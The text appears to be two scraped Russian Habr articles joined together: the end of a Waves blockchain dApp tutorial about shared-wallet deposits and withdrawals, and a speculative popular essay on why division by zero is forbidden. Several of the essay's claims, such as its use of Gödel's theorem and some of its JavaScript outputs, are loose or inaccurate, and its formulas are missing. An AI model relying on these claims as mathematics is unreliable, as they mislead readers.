Чтобы проверить то, какой сейчас контракт активен на аккаунте можно в обозревателе блоков скопировать base64 код смарт-контракта и распознать его через декомпилятор ([например](http://devnet-aws-ir-2.wavesnodes.com:6869/api-docs/index.html#!/utils/decompile))
Убеждаемся, что логика смарт-контракта соответствует тому, что мы ожидаем.
У Алисы на балансе осталось 2.972 WAVES.
Данный dApp ведет учет того, сколько вносят каждый из участников в общий фонд через механизм **data transaction — DataEntry(currentKey, newAmount)**, где currentKey — это аккаунт, который вызывает функцию deposit, а newAmount — это значение пополненного баланса.
Boob и Cooper вносят свои депозиты на dApp account по 1 WAVES.
Допускаем ошибку и транзакция не проходит. Так как мы несмотря на то, что убедились в том, что делаем транзакцию от имени Bob ошиблись в индексе и указали аккаунт Bank, на котором нет смарт-контракта. Тут стоит отметить важный момент — за неудачные попытки инициировать транзакции комиссия **не снимается!** У Алисы на балансе осталось 2.972 WAVES. У Bob 3 WAVES.
Bob отправил 1 WAVES на dApp Account.
```
broadcast(invokeScript({dappAddress: address(env.accounts[1]), call:{function:"deposit",args:[]}, payment: [{amount: 100000000, asset:null }]}))
```
У Bob осталось 1.99 WAVES. То есть Bob заплатил 0.01 WAVES комиссии
У Алисы на балансе было 2.972 WAVES, стало 3.972. На аккаунте Alice также зарегистрирована транзакция, однако c dApp Account (Alice) никакой комиссии не было списано.
После того, как Cooper также пополнил счет у Алисы на балансе стало 4.972 WAVES.
О том, кому сколько WAVES в общем кошельке принадлежит можно узнать в обозревателе блоков во вкладке Data.
Cooper передумал оставлять сумму в 1 WAVES на общем кошельке и решил вывести половину сродств. Для этого он должен вызвать функцию withdraw.
Однако, мы снова ошиблись, так как у функции withdraw совсем другие параметры, другая сигнатура. Когда будете проектировать смарт-контракты на RIDE4DAPPS следует обратить внимание на этот момент
У Cooper на балансе стало 2.48 WAVES. Соответсвенно 3 WAVES — 1 — 0.01, а потом + 0.5 — 0.01. Соотвественно каждый вызов deposit и withdraw обходится в 0.01 WAVES. В итоге, в таблице собственников dApps записи поменялись следующим образом.
Bob также решил изъять некоторую сумму из общего кошелька, но ошибся и попытался извлечь 1.5 WAVES.
Однако в смарт-контракте была проверка на такую ситуацию.
Xena — мошенница, попробовала вывести 1 WAVES из общего счета.
У нее также ничего не вышло.
В [следующей](https://habr.com/ru/post/447808/) части рассмотрим более сложные моменты связанные с несовершенством Alice dApp Account. | https://habr.com/ru/post/447790/ | null | ru | null |
# Делить на ноль — это норма. Часть 2
[Часть 1. Вобще-то уже все поделили до нас!](http://habrahabr.ru/post/247635/)
[Часть 2. Истина где-то рядом](http://habrahabr.ru/post/249431/)
В [прошлой части](http://habrahabr.ru/post/247635/) мы расширяли алгебру и смогли делить на ноль арифметически. В качестве бонуса, способ оказался не единственным. Однако, все эти алгебры не дали ответа на вопрос: **“Что там внутри или почему нам это не показывают?”**
Пока древние [вязали узелки](http://ru.wikipedia.org/wiki/Математика_инков), такой вопрос [возникнуть не мог](https://ru.wikipedia.org/wiki/Математика_инков#.D0.A3.D0.BC.D0.BD.D0.BE.D0.B6.D0.B5.D0.BD.D0.B8.D0.B5). Сейчас, куда не глянь, “бла-бла, для а≠0”. Значит ответ затаился где-то между узелками и настоящим. В математике все строго и последовательно, а значит и ответ не мог потеряться.
Мы попробуем приблизиться к ответу настолько близко насколько это возможно. **Эта часть практически полностью посвящена философии арифметики.** Скорее всего часть материала будет для Вас тривиальной. Однако у нас тут не повтор школьного курса арифметики.
Материал построен так, чтобы выделить структуру арифметики. Мы будем вгрызаться в нее с разных сторон и отрывать слои. Цель — понять, что на чем лежит.
2. Истина где-то рядом
======================
2.1 Зачем вообще напрягаться?
-----------------------------
Чтобы снова броситься в дебри, хотелось бы понять, почему этот вопрос периодически возникает и ради чего стоит искать ответ.
Давайте вспомним школьные годы, то время, когда нам впервые сказали: “На ноль делить нельзя, — вот так вот категорично. — Нельзя и все!”. А ведь до того в математике все было логично и последовательно. Складывали арбузы и вычитали дыни, яблоки перекатывали. Откуда не возьмись, на самом старте изучения математики, появился первый запретный плод.
**Классический набор ответов только расстраивает*** «Нельзя и все!» или «Проверь на калькуляторе» — без комментариев. Особая педагогическая методика.
* «Яблоко можно разделить на двоих. Тебя и друга Колю. Можно на троих. А если на ноль человек делить, то сколько раз разрезать нужно?» — да, непонятно выходит. Да и вопросом на вопрос отвечать неприлично. А учитель-то для чего? Твердят что математика “красивая”, математика “царица”, а тут такой конфуз.
* “2∙0=0 и 3∙0=0, поделим оба равенства на ноль, то выходит что 2=0/0 и 3=0/0. Значит 2=3 что ли?” — пример, конечно, наглядный. Но такие примеры мало того что на вопрос ответа не дают, так еще и страх перед наукой сеют. А вдруг еще на что делить нельзя или умножать. А вдруг поскользнусь. А может учитель сам не разобрался?
* «Чтобы понять нужно много знаний. Это в ВУЗе изучают, и то не все» — ну да, а че делить то нельзя? До этого момента у нас причинно-следственные связи не нарушались, шли от простого к сложному. А ведь ноль — число как число. Деление — операция как операция. Запрет на ровном месте!
Но система образования не щадит никого ([пруф](http://nbspace.ru/math/)). Нет другого выхода, кроме как идти дальше и осваивать новые знания. В голове происходит “скачок знаний”, как будто тысячелетие эволюции математики было пропущено. И это только начало.
> "*… не нужно проявлять лишней поспешности, нужно дать время ученику освоиться с тем внутренним переворотом, который в нем совершается в результате акта познания*”, — Ф. Клейн, “Элементарная математика с точки зрения высшей”
В старших классах, откуда ни возьмись, появляются формулы окружности и треугольников, дискриминант, тригонометрические тождества и т.п. Что их объединяет? Все они пришли сверху, совершенно неизвестно откуда. Их нужно просто использовать, в худшем случае зазубрить.
Оказавшись в ВУЗе, большинство, вместо возвращения к пропущенному материалу, изучает «вышку» с уклоном в специальность. Объем формул, пришедших свыше, уже совершенно не смущает.
Да, систему образования понять можно. Специалисту платят за результат, а не за то что он знает откуда экспонента в его расчетах.
В итоге мы не приходим к выводам, так как это делают математики. В момент “скачка знаний”, то есть когда мы отбрасываем часть логических цепочек, вершится таинство. Мы принимаем на веру то что нам говорят. Учебник превращается в священное писание!
Запрет деления на ноль — это первый и самый навязчивый запрет математики. Поэтому он запоминается на всю жизнь. Это так же педагогическая проблема, которая оставляет отпечаток на всю математику, как на “тайну покрытую мраком”. Это сложная проблема, по сравнению с ней найти большинство пропущенных логических цепочек не составляет труда.
Превратить священное писание назад в учебник можно. Причина запрета должна стать строго определенной. Задача педагогов преподнести ее ясно. Наука не должна сеять сомнения.
2.2 Что такое деление?
----------------------
Капитан Очевидность утверждает, чтобы поделить на ноль нужно знать что такое деление и что такое ноль. Как ни печально, гугл подсказывает, что многие адепты “магии деления на ноль” не проходят даже первый круг этого ада. А именно понять что они собираются сделать и с чем. Заглянем в Википедию:
> **Деле́ние (операция деления)** — одно из четырёх простейших арифметических действий, обратное умножению. Деление — это такая операция, которая считает сколько раз одно содержится в другом.
Что из этого следует:
* [Деление](https://ru.wikipedia.org/wiki/Деление_(математика)) не самостоятельная операция. Она определяется через [умножение](https://ru.wikipedia.org/wiki/Умножение). Если посмотреть на определение умножения, то оно определяется через сложение. [Вычитание](https://ru.wikipedia.org/wiki/Вычитание) так же определено через сложение. Сложение самостоятельно и ни от кого не зависит.
* В определении нет упоминания о нуле. При повсеместном запрете деления на ноль это весьма странно. Кстати, упоминания нуля нет и в определениях остальных арифметических операций.
* Вторая часть определения не является частью определения, это всего лишь пояснение. Убедиться можно сравнив с аналогами в [других проверенных источниках](http://bse.slovaronline.com/Д/ДЁ/10400-DELENIE).
Похоже, самое полезное, что мы здесь нашли — это связь между операциями. Можно сказать что деление — вино третьего отжима, умножение и вычитание — второго, а сложение — первого. Возможно, именно по этой причине деление стало давать сбой при работе с нулем.
2.3 Порождающие операции
------------------------
Итак, только операция [сложения](https://ru.wikipedia.org/wiki/Сложение) содержит правило о том, как по двум исходным аргументам (слагаемым) определить результат операции (сумму). Все остальные арифметические операции используют данное правило (соответствие чисел), но вдобавок накладывают свои **“дополнительные условия”**.
В зависимости от “дополнительных условий” арифметические операции можно поделить на [прямые](https://ru.wikipedia.org/wiki/Арифметика#.D0.A1.D0.BB.D0.BE.D0.B6.D0.B5.D0.BD.D0.B8.D0.B5.2C_.D1.83.D0.BC.D0.BD.D0.BE.D0.B6.D0.B5.D0.BD.D0.B8.D0.B5.2C_.D0.B2.D0.BE.D0.B7.D0.B2.D0.B5.D0.B4.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B2_.D1.81.D1.82.D0.B5.D0.BF.D0.B5.D0.BD.D1.8C) и [обратные](https://ru.wikipedia.org/wiki/Арифметика#.D0.9E.D0.B1.D1.80.D0.B0.D1.82.D0.BD.D1.8B.D0.B5_.D0.BE.D0.BF.D0.B5.D1.80.D0.B0.D1.86.D0.B8.D0.B8):
1. Прямые операции: это сложение, умножение и возведение в степень. Выражая эти операции через сложение, все слагаемые остаются известны. Определение результата любой из операций не представляет сложностей.
2. Обратные операции: вычитание, деление, взятие корня (логарифмирование). Данные операции берут за основу соответствующую прямую операцию и “инвертируют” ее. Таким образом, выражая операцию через сложение, хотя бы одно из слагаемых оказывается неизвестно. Это слагаемое и есть результат операции. Сумма, как правило, известна.
Определение результата операции, в общем случае, задача не тривиальная.
Все прямые операции обладают одним свойством. Они являются [замкнутыми](https://ru.wikipedia.org/wiki/Натуральное_число#.D0.9E.D0.BF.D0.B5.D1.80.D0.B0.D1.86.D0.B8.D0.B8_.D0.BD.D0.B0.D0.B4_.D0.BD.D0.B0.D1.82.D1.83.D1.80.D0.B0.D0.BB.D1.8C.D0.BD.D1.8B.D0.BC.D0.B8_.D1.87.D0.B8.D1.81.D0.BB.D0.B0.D0.BC.D0.B8). То есть тип результата полностью определяется типами входных чисел (невозможно получить из произведения двух целых чисел дробный результат).
Обратные операции являются замкнутыми только частично (значение корня из целого числа может оказаться целым числом, а может и не оказаться). В тех случаях, где подобрать результат не удается операция оказывается [не определена](http://en.wikipedia.org/wiki/Undefined_(mathematics)). Данную проблему издавна решают простым способом: рассматривают получившуюся запись операции и числа как новый тип чисел: .
Таким образом, можно сказать что обратные операции и “порождают” новые типы чисел.
**Математическим языком:**
> В общем случае использование термина “обратная операция” неприемлемо для обозначения способности операции порождать новые типы чисел. Например, “дополнительными условиями” можно:
>
> * поместить результат операции в одно или несколько слагаемых (как показано на примере выше);
> * определить результат операции как ответ на вопрос, сколько слагаемых участвовало в операции (дробные числа, иррациональные числа использующие корень);
> * определить результат операции как сумму бесконечного количества слагаемых. При этом все слагаемые известны (число Пи и число Эйлера).
>
Деление одна из порождающих операций. Возможно, в процессе рождения что-то пошло не так и новорожденный получил травму. Для того чтобы ответить на это вопрос нужно понять откуда взялось деление и откуда взялся ноль.
2.4 Эволюция арифметики
-----------------------
Попробуем структурировать наше представление об арифметических операциях и порождаемых ими типах чисел. Для наглядности представим один из вариантов, как может идти эволюция арифметики.
### 2.4.1 Область определения
Мы в пещере. С умением считать никто не родился. Однако в процессе “созерцания” появилось понимание, что такое **[понятие “количество”](https://ru.wikipedia.org/wiki/Количество)**. То есть мы знаем что два мамонта и два яблока имеют нечто общее и можем это выразить, загибая пальцы. Соответственно ничего, кроме натуральных чисел на этом этапе мы не знаем.
Множество натуральных чисел помечено звездочкой “\*” [для однозначности](https://ru.wikipedia.org/wiki/Натуральное_число#.D0.9D.D0.BE.D0.BB.D1.8C_.D0.BA.D0.B0.D0.BA_.D0.BD.D0.B0.D1.82.D1.83.D1.80.D0.B0.D0.BB.D1.8C.D0.BD.D0.BE.D0.B5_.D1.87.D0.B8.D1.81.D0.BB.D0.BE). Здесь и далее подчеркивается отсутствие понятия “ноль”.
Есть [несколько формальных определений](https://ru.wikipedia.org/wiki/Натуральное_число#.D0.90.D0.BA.D1.81.D0.B8.D0.BE.D0.BC.D1.8B.2C_.D0.BF.D0.BE.D0.B7.D0.B2.D0.BE.D0.BB.D1.8F.D1.8E.D1.89.D0.B8.D0.B5_.D0.BE.D0.BF.D1.80.D0.B5.D0.B4.D0.B5.D0.BB.D0.B8.D1.82.D1.8C_.D0.BC.D0.BD.D0.BE.D0.B6.D0.B5.D1.81.D1.82.D0.B2.D0.BE_.D0.BD.D0.B0.D1.82.D1.83.D1.80.D0.B0.D0.BB.D1.8C.D0.BD.D1.8B.D1.85_.D1.87.D0.B8.D1.81.D0.B5.D0.BB) последовательности натуральных чисел. Мы возьмем за основу [аксиомы Пеано](https://ru.wikipedia.org/wiki/Аксиомы_Пеано). Примечательно что эти определения не были описаны древними. Они появились только в 19 веке, а после прошли процедуру уточнения (в первоначальном варианте их было девять, в современном виде уже пять).
Рассмотрим формальные определения и их суть в рамках нашей задачи (традиционное словесное описание можно найти [на Википедии](https://ru.wikipedia.org/wiki/Аксиомы_Пеано#.D0.A1.D0.BB.D0.BE.D0.B2.D0.B5.D1.81.D0.BD.D0.B0.D1.8F)):
1. 
Есть число “один” и оно натурально.
2. 
Вводится [функция следования](https://en.wikipedia.org/wiki/Successor_function) S(x). Для всех натуральных аргументов она возвращает следующее за ним натуральное число. В первом приближении (весьма грубом) это S(x)=x+1, например 2=S(1) и 3=S(S(1)).
3. 
Вводится явный запрет на глобальную закольцованность порождаемой последовательности чисел. Генерируя числа мы не можем получить элемент с которого начали генерацию, то есть единицу.
4. 
Разные аргументы функции следования должны давать разные результаты. Таким образом вводится явный запрет на локальную закольцованность. То есть функция следования не должна повторно сгенерировать число, которое уже было сгенерировано.
5. 
[Математическая индукция](https://ru.wikipedia.org/wiki/Математическая_индукция), позволяющая подняться с уровня элементов последовательности до уровня последовательности в целом. Если какое-то [высказывание](https://ru.wikipedia.org/wiki/Высказывание_(логика)) “P” верно для единицы и для каждой пары соседних элементов, то оно верно и для всех элементов последовательности.
*Например. Для чисел 2 и 3, верно что между ними есть один средний элемент 2.5, для 3 и 4 это 3.5 и т.д. Делаем вывод, между любыми соседними натуральными числами есть средний элемент и он единственный.*
Какой вывод можно сделать из этих аксиом? Вводится запрет на закольцованность в любом виде (глобальную или локальную). Запрет на закольцованность всегда требует наличие следующего элемента. Так появляется математическое **понятие “бесконечность”** основанное на понятии «количество”. Понятие “бесконечность” не может существовать без понятия „количество”.
**Математическим языком:**
>
Довольно часто за “стартовый элемент” в аксиомах Пиано берут ноль. Почему так делать нельзя, будет раскрыто при описании операции “вычитание” (уже совсем скоро).
>
>
>
> [Функция следования](https://en.wikipedia.org/wiki/Successor_function) не использует операцию сложения в прямом смысле этого слова. Это фундаментальная функция, которая используется как для построения множества натуральных чисел, так и для [формального определения операции сложения](https://ru.wikipedia.org/wiki/Рекурсивная_функция_(теория_вычислимости)#.D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B).
>
>
>
> **То есть и числа и арифметические операции определены при помощи функции следования.**
>
>
>
> Функция следования входит в [класс примитивно рекурсивных функций](https://ru.wikipedia.org/wiki/Рекурсивная_функция_(теория_вычислимости)#.D0.9F.D1.80.D0.B8.D0.BC.D0.B8.D1.82.D0.B8.D0.B2.D0.BD.D0.BE_.D1.80.D0.B5.D0.BA.D1.83.D1.80.D1.81.D0.B8.D0.B2.D0.BD.D0.B0.D1.8F_.D1.84.D1.83.D0.BD.D0.BA.D1.86.D0.B8.D1.8F), рассматриваемых в [теории алгоритмов](https://ru.wikipedia.org/wiki/Теория_алгоритмов). Как известно, понятие [рекурсия](https://ru.wikipedia.org/wiki/Рекурсия) не содержит требования ее конечности (достижимости [терминальных ветвей](https://ru.wikipedia.org/wiki/Рекурсия#.D0.94.D0.BE.D0.BA.D0.B0.D0.B7.D0.B0.D1.82.D0.B5.D0.BB.D1.8C.D1.81.D1.82.D0.B2.D0.BE_.D0.BA.D0.BE.D1.80.D1.80.D0.B5.D0.BA.D1.82.D0.BD.D0.BE.D1.81.D1.82.D0.B8_.D0.BF.D1.80.D0.BE.D0.B3.D1.80.D0.B0.D0.BC.D0.BC)), а значит она так же неявно определяет понятие “бесконечность”.
### 2.4.2 Сложение
Первая операция, возникшая в ходе нашей эволюции. Как целые пальцы не загибай, результат будет целым. Разве что у [вождя](http://risovach.ru/upload/2015/01/mem/chernyj-vlastelin_72125355_orig_.jpg) сумма пальцев может быть чуть больше чем у всех остальных. Если пальцев не хватает, всегда можно позвать научного ассистента по пещере и расширить разрядную сетку.
### 2.4.2 Вычитание
В четверг охотники подстрелили 12 мамонтов. За пятницу съели 5 штук. Сколько мамонтов осталось?
Задача хорошо решается путем введения разгибания пальцев. Но подход работает не всегда. Например, чтобы оценить запасы на выходные охотник загибает семь пальцев за остаток, разгибает пять пальцев за субботу (норма расхода в день) и “пытается” разжать за воскресенье.
В этот момент между “try” и “catch” возникает ArithmeticException. Результат оказывается [не определен](http://en.wikipedia.org/wiki/Undefined_(mathematics)). Наша операция определена только для случая, когда уменьшаемое больше вычитаемого.
Однако определение вычитания не накладывает никаких ограничений. Чтобы избавиться от требования “a > b” введем **“правило перестановки”**. То есть позволим менять местами уменьшаемое и вычитаемое. Но чтобы тождество оставалось верным результат нужно пометить каким-то маркером, например знаком “минус”. Всякие маркеры для математики — дело обычное (например, признак отсутствия нуля у ).
За счет вспомогательной операции “перестановки” мы подошли к первой абстракции — “[отрицательные числа](https://ru.wikipedia.org/wiki/Отрицательное_число)”. Пометка в виде знака “минус” у натурального числа есть ничто иное как признак отложенного вычитания (но это только пока).
У нас остался всего один не определенный случай, когда уменьшаемое и вычитаемое равны. Если мы захотим определить его, то нам придется ответить на вопрос что такое **[понятие “ничто”](https://ru.wikipedia.org/wiki/Ничто)**. Хотя к чему все эти сложности, обозначим “ничто” символом “0” (позже вникнем по полной).
Осталось зафиксировать наше решение в виде **“правил сложения/вычитания нуля”**. Они следуют из определения нуля после пары нехитрых перестановок:
Посмотрим, насколько хорошо работают введенные правила. Решая уравнения, мы по двум известным числам всегда можем найти неизвестное третье. Совершенно неважно в какой части уравнения оно стоит, решение всегда однозначно.
Отрицательные числа появились в результате перестановки, ноль же заполнил “ничто”. Отрицательные числа и ноль рождены разными способами. Далее мы будем рассматривать две ветви эволюции: отдельно всех чисел без нуля и отдельно ноль.
### 2.4.3 Умножение
Умножение по определению является сокращенной записью сложения. Умножая натуральные числа, результат может быть только натуральным. На этом этапе эволюции для нас польза от определения заканчивается.
Для отрицательных чисел в определении нет ни слова о том как их перемножать. Эти правила сформировались постепенно [в ходе решения прикладных задач](http://www.tutoronline.ru/blog/minus-na-minus-dajot-pljus-a-pochemu). В современной трактовке они известны как дополнение к умножению в виде **[“правил знаков”](http://mateshka.ru/matematika/pravila-znakov.html)**. Они определены настолько хорошо, что применяя их к целым не нулевым числам, операция остается замкнутой.
В случае нуля ситуация отличается кардинально. Вводится еще одно правило “правило умножения нуля“ (умножение любого числа на ноль дает ноль). Но новым это правило только кажется. **Ввести какое либо иное правило мы не можем.** Определение умножения жестко связывает нас со сложением. Раскрывая умножение через сложение, мы используем “правила сложения/вычитания нуля”, соответственно ничего кроме нуля мы получить не можем.
**Математическим языком:**
> Если сравнить операции сложения и умножения в арифметике и общей алгебре, то можно заметить одно серьезное различие. В арифметике данные операции связаны по определению. Дистрибутивный закон является следствием этих определений. В общей алгебре наоборот, операции описываются независимо друг от друга, а уже в определении поля (кольца, если говорить точнее) связываются дистрибутивным законом. Как следствие:
>
> * В определении поля есть требование к обратному элементу. При этом для умножения и для сложения требование описано не симметрично. Допускается отсутствие обратного элемента по умножению для нейтральных элементов по сложению, но не наоборот.
> * Для придания симметрии при описании [колес](http://en.wikipedia.org/wiki/Wheel_theory) пришлось отказаться от привычного дистрибутивного закона, а значит и от оперирования полем.
>
> Поле, венец универсальности, “за уши” притянуто к элементарной арифметике. Но чтобы избавиться от этой подпорки (описать требования к операциям симметрично) придется расширить определение дистрибутивного закона (начиная с кольца конечно). Есть основания полагать, что венцом универсальности может стать другая алгебраическая система, для которой поле окажется частным случаем.
### 2.4.4 Деление
Деление — операция обратная умножению. В уравнениях с положительными и отрицательными числами появляется возможность подстановки не кратных чисел.
Как следствие операция порождает [“рациональные числа”](https://ru.wikipedia.org/wiki/Рациональное_число).
Чтобы вписать их в арифметику, в комплекте идут [“правила действий с обыкновенными дробями”](http://www.bymath.net/studyguide/ari/ari11.html). К счастью, эти правила гармонично сосуществуют с введенными нами ранее “правилами знаков”. В итоге в уравнениях сохраняется возможность определить по двум известным числам неизвестное при любой расстановке.
В случае нуля его можно умножать на рациональные числа. На этом всё, гармония закончилась! Только для двух из трех видов уравнений с произвольными числами решение может быть найдено.
Во-первых, появилась возможность составить уравнение с настолько не удобными числами, что мы не сможем подобрать ни одного решения. Решение “не возможно”.
Во-вторых, появилась возможность составить уравнение в котором есть бесконечное множество решений. Выбрать какое-то одно из них так же невозможно. Решение “не однозначно”.
Несложно догадаться, корень проблемы деления на ноль лежит в “невозможности” и “неоднозначности” умножения нуля. Умножение, в свою очередь, ретранслирует “правила сложения/вычитания нуля”. По сути можно задать уравнения, обладающие такими же свойствами, используя только сложение.
В обоих уравнениях нужно определить количество нулей, которые нужно сложить чтобы получить произвольное число или ноль.
Деление не привнесло чего-то качественно нового. **Произошла трансформация “невозможности” и “неоднозначности” сложения в конкретные сущности**, в неопределенности вида 1/0 и 0/0 соответственно.
Получается что деление, как первый подозреваемый, не виновато в том что на ноль делить нельзя.
Пока не существует понятия “ноль” все операции, включая возведение в степень и взятие корня (логарифмирование), хорошо замкнуты (уже правда на комплексных числах) и арифметика работает великолепно. Но есть одно “но”, при такой конфигурации арифметики операция вычитания, оказывается определена не полностью.
После введения нуля сложение и вычитание неплохо работает. Для остальных операций он скорее повод для установки костылей (), нежели равноправное число.
2.5 Что такое ноль?
-------------------
Итак, раз операция деления оказалась не виновата в запрете деления на ноль. Попробуем тогда собрать воедино все, что мы знаем о нуле:
1. Потребность в нуле появилась при определении операции вычитания.
2. Для разрешения большей части неопределенностей вычитания было введено “правило перестановки”. Знак минус перед числом, по сути, является маркером “отложенного вычитания”. Все что “правило перестановки” не осилило, закрыл собой ноль. По сути, **ноль был введен для обозначения понятия “ничто”**.
В предыдущей части статьи (при проективном расширении числовой прямой) мы “с потолка” ввели беззнаковую бесконечность. Ноль, аналогичная “затычка” для всего, что нам не понятно. Последствия, в виде появления новых неопределенностей, оказываются весьма предсказуемы.
3. **У понятия “ничто”, отсутствует связь с понятием “количество”** (основа для определения натуральных чисел и сложения). Эти понятия существуют сами по себе и мы можем “созерцать” их совершенно независимо, например “пять яблок” и “вакуум”. Отсюда следует, что в своей сути ноль так же не связан с натуральными числами, как понятие “ничто” не связанно с понятием “количество”.
Вычитание использует данное понятие, но не порождает его.
**Отсутствие породившей операции качественно отличает ноль от всех остальных чисел.**
*Для того, чтобы была ясна связь не рассмотренных нами типов чисел с операциями, продолжим, максимально кратко, тему эволюции. Мы остановились на делении. Комплексные числа и часть иррациональных порождаются операцией взятия корня (логарифмированием) над отрицательным числом. Прочие иррациональные (число Пи и число Эйлера) появляются за счет введения [бесконечных сумм](https://ru.wikipedia.org/wiki/Сумма_ряда) и [бесконечных умножений](https://ru.wikipedia.org/wiki/Бесконечное_произведение). Мнимые единицы кватернионов даны по определению и не выведены арифметически. Соответственно, инородны в рамках эволюции чисел.*
4. Вероятно именно из-за возможности одновременного “созерцания” понятия “ничто” и понятия “количество” [ноль иногда приписывают](https://ru.wikipedia.org/wiki/Натуральное_число#.D0.9D.D0.BE.D0.BB.D1.8C_.D0.BA.D0.B0.D0.BA_.D0.BD.D0.B0.D1.82.D1.83.D1.80.D0.B0.D0.BB.D1.8C.D0.BD.D0.BE.D0.B5_.D1.87.D0.B8.D1.81.D0.BB.D0.BE) к натуральным числам. Однако гораздо более логичным видится вынесение нуля как минимум в отдельный тип чисел.
5. **Было принято, что ноль единый и абсолютный.** Именно из этого, [весьма спорного](http://n-t.ru/tp/ns/mb.htm), предположения следуют “правила сложения/вычитания нуля” с другими числами. Как следствие, ноль обладает уникальным свойством, которое отсутствует у всех остальных чисел. В результате сложения нуля с произвольным числом неизвестно, сколько нулей участвовало в операции и были ли они вообще.
На последнем пункте стоит остановиться поподробнее. Попробуем представить не абсолютный ноль.
Допустим, у нас есть мамонт. Для его перевозки нужна тара. Если положить мамонта в тару, а потом вытащить, то в таре окажется “ничто” (прям как на картинке со спичкой выше). Однако тара для двух мамонтов несколько отличается от тары для одного. В случае кражи есть основание выставлять обвинение в соответствии с размером оставшейся тары. А значит, существуют ситуации когда одно “ничто” другому “ничто” рознь.
Может ли “ничто” быть разным или “ничто” есть единая и абсолютная сущность? Это вопрос на который **невозможно дать ответ**. Аналогичен и бессмысленен спор на тему есть ли Бог, а и есть то единый он или их много. Ответа на этом свете мы не узнаем.
**Математическим языком:**
> Отношение математики к нулю как к единому и абсолютному объекту лучше описать по отдельным разделам математики:
>
> 1. [Общая алгебра](http://ru.wikipedia.org/wiki/Общая_алгебра). В алгебраических системах с разрешенным делением на ноль, очень ярко проявляется борьба с абсолютным нулем. Причудливые операции вычитания это не прихоть, а следствие уничтожения единого и абсолютного нуля. Например, в [колесах](http://en.wikipedia.org/wiki/Wheel_theory) для вычитания определено следующее тождество:
>
>
>
> 
> 2. [Математическая логика](https://ru.wikipedia.org/wiki/Математическая_логика). Формально арифметика определяется расширением аксиом Пеано. Пять аксиом, определяющие ряд натуральных чисел, дополняются еще четырьмя. Это расширение определяет связь базовых арифметических операций (сложение и умножение) с числами:
>
> 1. 
> 2. 
> 3. 
> 4. В этих аксиомах заложено особое отношение к нулю. Формально определяется объект со свойствами отличными от всех остальных чисел. Этому объекту посвящено две из девяти аксиом описывающих всю арифметику.
>
> Здесь мы прикасаемся к одному из проявлений [теоремы Гёделя о неполноте](https://ru.wikipedia.org/wiki/Теорема_Гёделя_о_неполноте). Невозможно средствами арифметики доказать или опровергнуть единую или множественную сущность нуля.
> 3. [Теория алгоритмов](https://ru.wikipedia.org/wiki/Теория_алгоритмов). Можно заглянуть в арифметику еще глубже. Для построения последовательности натуральных чисел и определения операции сложения, используется [класс примитивно рекурсивных функций](https://ru.wikipedia.org/wiki/Рекурсивная_функция_(теория_вычислимости)#.D0.9F.D1.80.D0.B8.D0.BC.D0.B8.D1.82.D0.B8.D0.B2.D0.BD.D0.BE_.D1.80.D0.B5.D0.BA.D1.83.D1.80.D1.81.D0.B8.D0.B2.D0.BD.D0.B0.D1.8F_.D1.84.D1.83.D0.BD.D0.BA.D1.86.D0.B8.D1.8F). [Функция следования](http://en.wikipedia.org/wiki/Successor_function) S(x), используемся в аксиомах Пеано, одна из них. Наравне с ней определена [Нулевая функция](https://ru.wikipedia.org/wiki/Рекурсивная_функция_(теория_вычислимости)#.D0.9E.D0.BF.D1.80.D0.B5.D0.B4.D0.B5.D0.BB.D0.B5.D0.BD.D0.B8.D0.B5) O(x), функция которая всегда возвращает ноль.
>
Таким образом, на самом дне арифметики, там где не существует ни натуральных чисел, ни сложения (а значит и прочих операций), существует ноль.
Хорошо, ответа на вопрос сколько должно быть нулей арифметика дать не может. Мы пользуемся одним нулем. В [колесах](http://en.wikipedia.org/wiki/Wheel_theory), рассмотренных в первой части, использовалась арифметика с бесконечным количеством нулей. А может ли быть конечное число нулей, но больше одного.
Может и такие арифметики успешно используются. Один из ярких примеров арифметика со [“знаковым нулем”](https://en.wikipedia.org/wiki/Signed_zero), реализованная в JavaScript.
**Математическим языком:**
>
Знаковый ноль, хоть записывается аналогично +0 и -0, не имеет ничего общего с исчислением [бесконечно малых](https://ru.wikipedia.org/wiki/Бесконечно_малая_и_бесконечно_большая).
>
>
>
> Введение знакового нуля является еще одним вариантом расширения числовой прямой. В [общей топологии](https://ru.wikipedia.org/wiki/Общая_топология) существует очень близкое (но не тождественное) пространство “[линия с двумя началами](https://en.wikipedia.org/w/index.php?title=Line_with_two_origins)” (не хаусдорфово).
Однако и эта арифметика грешит неопределенностями.
**Пример работы JavaScript**
```
console.log(+0) => 0
console.log(-0) => -0
console.log(-0 === +0) => true
console.log(0-0) => 0
console.log(-0-0) => -0
console.log(0/0) => NaN
console.log(-0/0) => NaN
console.log(-0/-0) => NaN
console.log(Infinity/Infinity) => NaN
console.log(-Infinity/Infinity) => NaN
console.log(-Infinity/-Infinity) => NaN
console.log(Infinity — Infinity) => NaN
console.log(Infinity + Infinity) => Infinity
```
Можно сделать вывод, что неопределенности в арифметике будут сохраняться до тех пор, пока количество нулей конечно.
По большому счету неважно как мы будем относиться к нулю. Нужен ли нам единый и абсолютный ноль, а может парочка или вообще бесконечное количество, арифметика всегда сможет под нас подстроиться.
2.6 Бесконечность наше всё
--------------------------
Напоследок, хотелось бы представить хотя бы один вариант числовой оси содержащей бесконечное количество нулей (данный пример описывает концепцию и не претендует на математическую строгость).
Для вычитания, когда уменьшаемое и вычитаемое равны, вместо ввода нуля определим операцию “сокращения”. То есть разрешаем вычеркивать эквивалентные выражения с противоположным знаком. Но если мы сократили все, то результат уже не пригоден к дальнейшему использованию.
Отсчет в числовой оси начнем с единицы (от первого числа зародившего понятие “количество”). Для генерации остальных чисел воспользуемся бесконечной последовательностью, определенной [функцией следования](http://en.wikipedia.org/wiki/Successor_function) (она же использована в [аксиомах Пеано](https://ru.wikipedia.org/wiki/Аксиомы_Пеано)). Это будет наш эталонный генератор бесконечной последовательности.
Чтобы получить очень маленькое число при помощи функции следования нужно затратить столько же сил сколько и на генерацию очень большого. Используем функции f(x)=1/x и f(x)=x. Приводить в десятичный вид рациональную дробь задача не стоит, соответственно [вычислительная сложность](https://ru.wikipedia.org/wiki/Вычислительная_сложность) функций одинакова.
